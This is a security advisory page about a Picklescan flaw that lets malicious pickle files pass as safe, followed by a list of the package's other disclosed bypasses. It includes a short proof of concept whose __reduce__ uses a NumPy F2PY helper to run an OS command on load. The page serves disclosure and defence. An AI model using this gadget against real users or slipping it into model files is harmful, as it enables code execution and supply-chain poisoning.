Sign in
Deutsch English Español Polski
Medium

Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length

  • Disclosed: 30.12.2025
  • Updated: 11.10.2026 14:18

Summary

Picklescan uses the numpy.f2py.crackfortran._eval_length function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

Details

Picklescan fails to detect a malicious pickle that uses the gadget numpy.f2py.crackfortran._eval_length in __reduce__, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

PoC

python
class PoC:
    def __reduce__(self):
        from numpy.f2py.crackfortran import _eval_length
        return _eval_length, ("__import__('os').system('whoami')", None)

Impact

  • Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
  • Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
  • Enables supply‑chain poisoning of shared model files.

Credits

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.33 0.0.33

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-502, CWE-94
Platform
Python (PyPI)
Package
picklescan
Disclosed
30.12.2025
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1783 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6556-fwc2-fg2p - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

Severity:
  1. PickleScan has multiple stdlib modules with direct RCE not in blocklist
    Critical · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. PickleScan's pkgutil.resolve_name has a universal blocklist bypass
    Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass
    Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
    High CVE-2026-53875 < 1.0.3 1.0.3
  5. picklescan missing detection by simple obfuscation of a `builtins.eval` call
    High CVE-2026-53874 < 1.0.1 1.0.1
  6. picklescan has Arbitrary file read using `io.FileIO`
    High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  7. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
    High CVE-2025-71367 < 0.0.34 0.0.34
  8. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
    High CVE-2025-71375 < 0.0.34 0.0.34
  9. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length this entry
    Medium · 8.1 CVE-2025-71339 < 0.0.33 0.0.33
  10. Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71372 < 0.0.33 0.0.33
  11. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
    High · 8.1 CVE-2025-71365 < 0.0.33 0.0.33
  12. Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
    High CVE-2025-71373 < 0.0.33 0.0.33
  13. Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71362 < 0.0.33 0.0.33
  14. Picklescan Bypasses Unsafe Globals Check using pty.spawn
    High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  15. Picklescan missing detection when calling pty.spawn
    High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  16. Picklescan has Incomplete List of Disallowed Inputs
    High CVE-2025-71320 < 0.0.33 0.0.33
  17. Picklescan does not block ctypes
    High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  18. Picklescan vulnerable to Arbitrary File Writing
    High CVE-2025-71321 < 0.0.33 0.0.33
  19. Picklescan Bypass is Possible via File Extension Mismatch
    Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  20. Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
    Critical · 7.5 CVE-2025-10156 < 0.0.31 0.0.31
  21. Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
    Critical · 8.3 CVE-2025-10157 < 0.0.31 0.0.31
  22. Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
    High CVE-2025-71357 < 0.0.30 0.0.30
  23. Picklescan is missing detection when calling built-in python ensurepip._run_pip
    High · 8.1 CVE-2025-71344 < 0.0.30 0.0.30
  24. Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
    High · 8.1 CVE-2025-71361 < 0.0.29 0.0.29
  25. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
    High · 8.1 CVE-2025-71376 < 0.0.29 0.0.29
  26. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity
    High · 8.1 CVE-2025-71358 < 0.0.29 0.0.29
  27. Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
    High · 8.1 CVE-2025-71354 < 0.0.29 0.0.29
  28. Picklescan has a missing detection when calling built-in python profile.Profile.runctx
    High · 8.1 CVE-2025-71341 < 0.0.29 0.0.29
  29. Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
    High · 8.1 CVE-2025-71348 < 0.0.28 0.0.28
  30. Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
    High · 8.1 CVE-2025-71370 < 0.0.28 0.0.28
  31. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
    High CVE-2025-71325 < 0.0.27 0.0.27
  32. Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
    High CVE-2025-46417 < 0.0.25 0.0.25
  33. picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pick
    Critical · 9.8 CVE-2025-1716 < 0.0.22 0.0.22

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.